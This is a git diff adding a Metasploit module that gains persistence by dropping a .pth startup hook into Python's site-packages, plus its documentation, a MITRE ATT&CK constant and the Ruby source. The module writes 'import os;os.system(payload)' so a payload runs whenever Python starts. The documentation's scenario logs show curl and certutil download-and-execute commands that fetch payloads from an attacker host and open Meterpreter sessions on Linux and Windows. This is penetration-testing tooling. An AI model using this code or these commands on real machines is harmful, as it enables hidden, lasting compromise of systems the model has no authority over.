diff --git a/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md new file mode 100644 index 0000000000000..01426f562534e --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/python_site_specific_hook.md @@ -0,0 +1,99 @@ +## Vulnerable Application + +This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Start msfconsole +1. Get a session +1. Do: `use multi/persistence/python_site_specific_hook` +1. Do: `set session #` +1. Do: `run` + +## Options + +### PYTHON_HOOK_PATH + +If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks. + +### EXECUTION_TARGET + +Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user. + +## Scenarios + +### Linux pop-os 6.17.4-76061704-generic + +``` +msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true +[*] Command to run on remote host: curl -so ./xtLDGMnHcvHv http://192.168.3.7:8080/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./xtLDGMnHcvHv;./xtLDGMnHcvHv& +[*] Exploit running as background job 9. +[*] Exploit completed, but no session was created. + +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w +msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Python is present on the system +[*] Detected Python version 3.10 +[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/ +[*] Creating directory /usr/local/lib/python3.10/dist-packages/ +[*] /usr/local/lib/python3.10/dist-packages/ created +[*] Client 192.168.3.7 requested /EO6WzfXF6CGyqdBiy1rT5w +[*] Sending payload to 192.168.3.7 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 192.168.3.7 +[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 192.168.3.7:34170) at 2025-11-19 07:04:54 +0100 + +msf exploit(multi/persistence/python_site_specific_hook) > sessions 4 +[*] Starting interaction with 4... + +meterpreter > sysinfo +Computer : 172.16.187.129 +OS : Pop 22.04 (Linux 6.17.4-76061704-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: ms + +``` + +### Windows 10.0.15063 +``` +msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true +[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/P0P_l8MTdDPpi4BXoUKxZw %TEMP%\RAKYJqUXyJK.exe & start /B %TEMP%\RAKYJqUXyJK.exe +[*] Exploit running as background job 7. +[*] Exploit completed, but no session was created. +msf exploit(multi/persistence/python_site_specific_hook) > +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /P0P_l8MTdDPpi4BXoUKxZw +[*] Started reverse TCP handler on 192.168.3.7:9999 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Python is present on the system +[*] Detected Python version 3.13 +[*] Got path to site-specific hooks C:\Users\msfuser/AppData/Local/Programs/Python/Python313/Lib/site-packages/ +[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw +[*] Sending payload to 10.5.132.155 (Microsoft-CryptoAPI/10.0) +[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw +[*] Sending payload to 10.5.132.155 (CertUtil URL Agent) +[*] Sending stage (230982 bytes) to 10.5.132.155 +[*] Meterpreter session 3 opened (192.168.3.7:9999 -> 10.5.132.155:51726) at 2025-11-19 07:52:00 +0100 + +msf exploit(multi/persistence/python_site_specific_hook) > sessions 3 +[*] Starting interaction with 3... + +meterpreter > sysinfo +Computer : WIN10_1703_1018 +OS : Windows 10 1703 (10.0 Build 15063). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10_1703_1018\msfuser + +``` diff --git a/lib/msf/core/mitre/attack/technique.rb b/lib/msf/core/mitre/attack/technique.rb index 25f30ea3d775f..5f05cc8eb9716 100644 --- a/lib/msf/core/mitre/attack/technique.rb +++ b/lib/msf/core/mitre/attack/technique.rb @@ -796,7 +796,7 @@ module Technique T1546_015_COMPONENT_OBJECT_MODEL_HIJACKING = 'T1546.015' T1546_016_INSTALLER_PACKAGES = 'T1546.016' T1546_017_UDEV_RULES = 'T1546.017' - + T1546_018_PYTHON_STARTUP_HOOKS = 'T1546.018' T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION = 'T1547' T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER = 'T1547.001' T1547_002_AUTHENTICATION_PACKAGE = 'T1547.002' diff --git a/modules/exploits/multi/persistence/python_site_specific_hook.rb b/modules/exploits/multi/persistence/python_site_specific_hook.rb new file mode 100644 index 0000000000000..07276f8c9c48c --- /dev/null +++ b/modules/exploits/multi/persistence/python_site_specific_hook.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Msf::Post::Linux::Priv + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Python Site-Specific Hook Persistence', + 'Description' => %q{ + This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'msutovsky-r7', # msf module + ], + 'Platform' => ['linux', 'windows', 'osx'], + 'Arch' => [ ARCH_CMD ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => [[ 'Auto', {} ]], + 'References' => [ + [ 'URL', 'https://docs.python.org/3/library/site.html'], + ['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS], + ], + 'DisclosureDate' => '2012-09-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']), + OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']]) + ]) + end + + def get_hooks_path + unless datastore['PYTHON_HOOK_PATH'].blank? + @hooks_path = datastore['PYTHON_HOOK_PATH'] + return + end + case session.platform + when 'windows', 'win' + + case datastore['EXECUTION_TARGET'] + when 'USER' + @hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/") + when 'SYSTEM' + @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" + end + when 'osx', 'linux' + + case datastore['EXECUTION_TARGET'] + when 'USER' + @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") + when 'SYSTEM' + @hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/" + end + end + end + + def get_python_version + case session.platform + when 'windows', 'win' + cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/ + when 'osx', 'linux' + cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ + end + + @python_version = Regexp.last_match(1) + end + + def check + get_python_version + + return CheckCode::Safe('Python not present on the system') unless @python_version + + CheckCode::Vulnerable('Python is present on the system') + end + + def install_persistence + get_python_version unless @python_version + print_status("Detected Python version #{@python_version}") + get_hooks_path unless @hooks_path + print_status("Got path to site-specific hooks #{@hooks_path}") + + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + + if session.platform == 'osx' || session.platform == 'linux' + mkdir(@hooks_path) + end + + fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) + end +end